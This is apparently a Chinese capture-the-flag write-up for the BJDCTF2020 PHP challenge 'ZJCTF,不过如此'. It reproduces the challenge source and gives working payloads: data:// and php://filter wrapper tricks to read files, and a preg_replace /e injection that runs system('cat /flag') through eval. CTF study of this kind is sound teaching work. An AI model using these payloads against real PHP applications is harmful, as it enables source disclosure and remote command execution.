[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这种题写过,两个漏洞,file_get_contents(),include()
1.file_get_contents()有两种方法:php://input,data://
php://input,内容post进去,但没成功
data://,payload:/?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
2.include(),用上述php://filter
file=php://filter/convert.base64-encode/resource=next.php
得到base64,解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里就知道eval执行代码,于是查资料:
preg_replace()的/e模式
存在命令执行漏洞
https://xz.aliyun.com/t/2557深入研究preg_replace与代码执行
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储
\1 实际上指定的是第一个子匹配项
因此,$re需要合法的传来,并且需要一次匹配到后面的函数:
\S*
$str,只需要执行一下getFlag函数即可:
${getFlag()}或者{${getFlag()}}
因此,payload:
/?\S*={${getFlag()}}&cmd=system('cat /flag');
总结:对正则表达式那里感觉挺难,看懂之后就很有意思;